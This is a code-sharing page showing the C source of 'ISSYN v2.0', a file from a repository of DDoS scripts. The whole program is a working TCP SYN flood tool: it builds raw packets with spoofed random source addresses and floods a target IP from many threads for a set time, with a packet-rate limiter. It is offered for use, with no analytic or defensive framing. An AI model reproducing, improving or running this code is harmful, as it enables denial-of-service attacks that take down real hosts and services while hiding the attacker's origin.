Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L4/TCP/issyn.c
4565 views
1
2
3
#include <pthread.h>
4
#include <unistd.h>
5
#include <stdio.h>
6
#include <stdlib.h>
7
#include <string.h>
8
#include <sys/socket.h>
9
#include <netinet/ip.h>
10
#include <netinet/tcp.h>
11
#include <time.h>
12
#define MAX_PACKET_SIZE 4096
13
#define PHI 0x9e3779b9
14
15
static unsigned long int Q[4096], c = 362436;
16
static unsigned int floodport;
17
volatile int limiter;
18
volatile unsigned int pps;
19
volatile unsigned int sleeptime = 100;
20
21
void init_rand(unsigned long int x)
22
{
23
int i;
24
Q[0] = x;
25
Q[1] = x + PHI;
26
Q[2] = x + PHI + PHI;
27
for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
28
}
29
unsigned long int rand_cmwc(void)
30
{
31
unsigned long long int t, a = 18782LL;
32
static unsigned long int i = 4095;
33
unsigned long int x, r = 0xfffffffe;
34
i = (i + 1) & 4095;
35
t = a * Q[i] + c;
36
c = (t >> 32);
37
x = t + c;
38
if (x < c) {
39
x++;
40
c++;
41
}
42
return (Q[i] = r - x);
43
}
44
unsigned short csum (unsigned short *buf, int count)
45
{
46
register unsigned long sum = 0;
47
while( count > 1 ) { sum += *buf++; count -= 2; }
48
if(count > 0) { sum += *(unsigned char *)buf; }
49
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
50
return (unsigned short)(~sum);
51
}
52
53
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
54
55
struct tcp_pseudo
56
{
57
unsigned long src_addr;
58
unsigned long dst_addr;
59
unsigned char zero;
60
unsigned char proto;
61
unsigned short length;
62
} pseudohead;
63
unsigned short total_len = iph->tot_len;
64
pseudohead.src_addr=iph->saddr;
65
pseudohead.dst_addr=iph->daddr;
66
pseudohead.zero=0;
67
pseudohead.proto=IPPROTO_TCP;
68
pseudohead.length=htons(sizeof(struct tcphdr));
69
int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
70
unsigned short *tcp = malloc(totaltcp_len);
71
memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
72
memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
73
unsigned short output = csum(tcp,totaltcp_len);
74
free(tcp);
75
return output;
76
}
77
78
void setup_ip_header(struct iphdr *iph)
79
{
80
char ip[17];
81
snprintf(ip, sizeof(ip)-1, "%d.%d.%d.%d", rand()%255, rand()%255, rand()%255, rand()%255);
82
iph->ihl = 5;
83
iph->version = 4;
84
iph->tos = 0;
85
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
86
iph->id = htonl(rand()%54321);
87
iph->frag_off = 0;
88
iph->ttl = rand()%64;
89
iph->protocol = 6;
90
iph->check = 0;
91
iph->saddr = inet_addr(ip);
92
}
93
94
void setup_tcp_header(struct tcphdr *tcph)
95
{
96
tcph->source = htons(rand()%65535);
97
tcph->seq = rand();
98
tcph->ack_seq = 0;
99
tcph->res1 = 0;
100
tcph->res2 = 0;
101
tcph->doff = 5;
102
tcph->psh = 0;
103
tcph->syn = 1;
104
tcph->window = htons(65535);
105
tcph->check = 0;
106
tcph->urg_ptr = 0;
107
}
108
109
void *flood(void *par1)
110
{
111
char *td = (char *)par1;
112
char datagram[MAX_PACKET_SIZE];
113
struct iphdr *iph = (struct iphdr *)datagram;
114
struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
115
116
struct sockaddr_in sin;
117
sin.sin_family = AF_INET;
118
sin.sin_port = htons(floodport);
119
sin.sin_addr.s_addr = inet_addr(td);
120
121
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
122
if(s < 0){
123
fprintf(stderr, "Could not open raw socket.\n");
124
exit(-1);
125
}
126
memset(datagram, 0, MAX_PACKET_SIZE);
127
setup_ip_header(iph);
128
setup_tcp_header(tcph);
129
tcph->dest = htons(floodport);
130
iph->daddr = sin.sin_addr.s_addr;
131
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
132
int tmp = 1;
133
const int *val = &tmp;
134
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
135
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
136
exit(-1);
137
}
138
init_rand(time(NULL));
139
register unsigned int i;
140
i = 0;
141
int psh = 0;
142
int res1 = 0;
143
int res2 = 0;
144
while(1)
145
{
146
if(psh > 1) psh = 1;
147
if(res1 > 4) res1 = 0;
148
if(res2 > 3) res2 = 0;
149
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
150
setup_ip_header(iph);
151
setup_tcp_header(tcph);
152
iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
153
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
154
tcph->dest = htons(rand()%65535);
155
iph->daddr = sin.sin_addr.s_addr;
156
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
157
tcph->seq = rand_cmwc() & 0xFFFF;
158
tcph->source = htons(rand_cmwc() & 0xFFFF);
159
tcph->ack_seq = 1;
160
tcph->psh = psh;
161
tcph->res1 = res1;
162
tcph->res2 = res2;
163
tcph->check = 0;
164
tcph->check = tcpcsum(iph, tcph);
165
pps++;
166
psh++;
167
res1++;
168
res2++;
169
if(i >= limiter)
170
{
171
i = 0;
172
usleep(sleeptime);
173
}
174
i++;
175
}
176
}
177
int main(int argc, char *argv[ ])
178
{
179
if(argc < 5){
180
fprintf(stdout, "ISSYN v2.0 - Improved by Spai3N\nInvalid parameters!\nUsage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
181
exit(-1);
182
}
183
srand(time(0));
184
int num_threads = atoi(argv[2]);
185
int maxpps = atoi(argv[3]);
186
limiter = 0;
187
pps = 0;
188
pthread_t thread[num_threads];
189
int multiplier = 20;
190
int i;
191
fprintf(stderr, "Start flooding ...\n", argv[1]);
192
for(i = 0;i<num_threads;i++){
193
pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
194
}
195
fprintf(stderr, "Flooding: %s\n", argv[1]);
196
for(i = 0;i<(atoi(argv[4])*multiplier);i++)
197
{
198
usleep((1000/multiplier)*1000);
199
if((pps*multiplier) > maxpps)
200
{
201
if(1 > limiter)
202
{
203
sleeptime+=100;
204
} else {
205
limiter--;
206
}
207
} else {
208
limiter++;
209
if(sleeptime > 25)
210
{
211
sleeptime-=25;
212
} else {
213
sleeptime = 0;
214
}
215
}
216
pps = 0;
217
}
218
219
return 0;
220
}
221